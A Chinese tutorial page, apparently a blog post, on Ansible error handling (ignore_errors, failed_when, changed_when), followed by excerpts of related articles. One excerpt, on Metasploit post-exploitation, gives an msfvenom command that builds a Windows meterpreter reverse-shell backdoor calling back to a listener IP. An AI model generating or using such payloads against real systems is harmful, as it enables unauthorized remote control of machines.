任务失败控制

Ansible 通常默认会确保检测模块和命令的返回码并且会快速失败 – 专注于一个错误除非你另作打算.

有时一条命令会返回 0 但那不是报错.有时命令不会总是报告它 ‘改变’ 了远程系统.本章节描述了 如何将 Ansible 处理输出结果和错误处理的默认行为改变成你想要的.

忽略错误的命令

通常情况下, 当出现失败时 Ansible 会停止在宿主机上执行.有时候,你会想要继续执行下去.为此 你需要像这样编写任务:

- name: cat no exist file
command: cat /root/noexist
ignore_errors: yes
- name: cat file info

  shell: cat /root/fileinfo

控制对失败的定义

假设一条命令的错误码毫无意义只有它的输出结果能告诉你什么出了问题,比如说字符串 “FAILED” 出 现在输出结果中.

在 Ansible 1.4及之后的版本中提供了如下的方式来指定这样的特殊行为:

- name: this command prints FAILED when it fails
command: /usr/bin/ls -x -y -z
register: command_result
failed_when: "'FAILED' in command_result.stderr"

在 Ansible 1.4 之前的版本能通过如下方式完成:

- name: this command prints FAILED when it fails
command: /usr/bin/ls -x -y -z
register: command_result
ignore_errors: True
- name: fail the play if the previous command did not succeed
fail: msg="the command failed"
when: "'FAILED' in command_result.stderr"


覆写更改结果

当一个 shell或命令或其他模块运行时,它们往往都会在它们认为其影响机器状态时报告 “changed” 状态

有时你可以通过返回码或是输出结果来知道它们其实并没有做出任何更改.你希望覆写结果的

“changed” 状态使它不会出现在输出的报告或不会触发其他处理程序:

tasks:

- shell: /usr/bin/ps -ef | grep zabbix
register: zabbix_result
changed_when: "zabbix_result.rc != 2"

文献参考链接:

参考链接: http://www.ansible.com.cn/docs/playbooks_error_handling.html

【Ansible】ansible 任务失败控制的更多相关文章

  1. 自动化运维工具-Ansible之5-流程控制

    自动化运维工具-Ansible之5-流程控制 目录 自动化运维工具-Ansible之5-流程控制 playbook条件语句 单条件 多条件 多条件运算 示例 playbook循环语句 with_ite ...

  2. ansible Ansible Galaxy ansible-playbook 安装 使用 命令 笔记 生成密钥 管控机 被管控机 wget epel源

    笔记 ansible 安装 与salt对比 相同 都是为了同时在多台机器上执行相同的命令 都是python开发 不同 agent(saltstack需要安装.ansible不需要) 配置(salt配置 ...

  3. 自动运维:Ansible -ansible tower

    文档主页:http://docs.ansible.com/参考文档:http://docs.ansible.com/ansible/参考文档:http://docs.ansible.com/ansib ...

  4. 使用ansible控制Hadoop服务的启动和停止

    一.环境: 服务器一台,已安装centos7.5系统,做ansible服务器: 客户机三台:hadoop-master(192.168.1.18).hadoop-slave1(192.168.1.19 ...

  5. 自动化运维工具之ansible

    自动化运维工具之ansible   一,ansible简介 ansible是新出现的自动化运维工具,基于Python开发,集合了众多运维工具(puppet.cfengine.chef.func.fab ...

  6. Ansible详解(一)

    简介 Ansible是一个简单的自动化运维管理工具,基于Python语言实现,由Paramiko和PyYAML两个关键模块构建,可用于自动化部署应用.配置.编排task(持续交付.无宕机更新等).主版 ...

  7. Ansible系列(二):选项和常用模块

    html { font-family: sans-serif } body { margin: 0 } article,aside,details,figcaption,figure,footer,h ...

  8. Ansible系列(五):playbook应用和roles自动化批量安装示例

    html { font-family: sans-serif } body { margin: 0 } article,aside,details,figcaption,figure,footer,h ...

  9. Ansible系列(七):执行过程分析、异步模式和速度优化

    本文目录:1.1 ansible执行过程分析1.2 ansible并发和异步1.3 ansible的-t选项妙用1.4 优化ansible速度 1.4.1 设置ansible开启ssh长连接 1.4. ...

随机推荐

  1. linux中Vi编辑器使用

    1.如需要编辑aaa.txt文件: vi  aaa.txt   就可以进入到   aaa.txt文件中, 输入  i   进入到编辑模式, 按 Esc 退出编辑模式  , :wq   保存退出编辑模式 ...

  2. 1812: [Ioi2005]riv

    1812: [Ioi2005]riv Time Limit: 10 Sec Memory Limit: 64 MB Submit: 635 Solved: 388 [Submit][Status][D ...

  3. msf后渗透

    生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.131 lport=4444 -f exe -o 4444.e ...

  4. 20145203盖泽双《Java程序设计》第三周学习总结

    20145203盖泽双<Java程序设计>第三周学习总结 教材学习内容总结 1.两个基本的标准类:java.util.Scanner与java.math.BigDecimal. 2.Big ...

  5. 20165302 2017-2018-2《Java程序设计》课程总结

    20165302 2017-2018-2<Java程序设计>课程总结 每周作业汇总 预备作业1 对师生关系的看法 预备作业2 C语言基础调查 预备作业3 安装虚拟机,初步学习虚拟机及常用命 ...

  6. Python之Bottle框架使用

    本文主要包含的内容是Bottle框架介绍和安装使用. 一.Bottle框架介绍 Bottle是一个快速小巧,轻量级的 WSGI 微型 web 框架.同时Bottle也是一个简单高效的遵循WSGI的微型 ...

  7. MFC程序消息处理的顺序

    MFC应用程序中处理消息的顺序 1.AfxWndProc()      该函数负责接收消息,找到消息所属的CWnd对象,然后调用AfxCallWndProc 2.AfxCallWndProc() 该函 ...

  8. tp5简要

    1.实例化模型 namespace app\web\controller; use think\Controller; use app\web\model\Member; use think\Load ...

  9. Week5:Neural Network BackPropagation疑难点记录

    1.这个neural network 的costfunction 看起来很复杂,其实把连加化简,就是上面的普通代价函数在神经网络的应用,只不过把每一层都加起来了. 为什么要初始化θ值? 后向传播涉及的 ...

  10. pytest 框架自动化Selenium 之yield 使用

    环境 python 3.7 由于3.0-3.5以下部分pytest可能有部分兼容问题安装建议2.7-2.9,3.5-最新 pip install pytest专属 pytest框架包 pip inst ...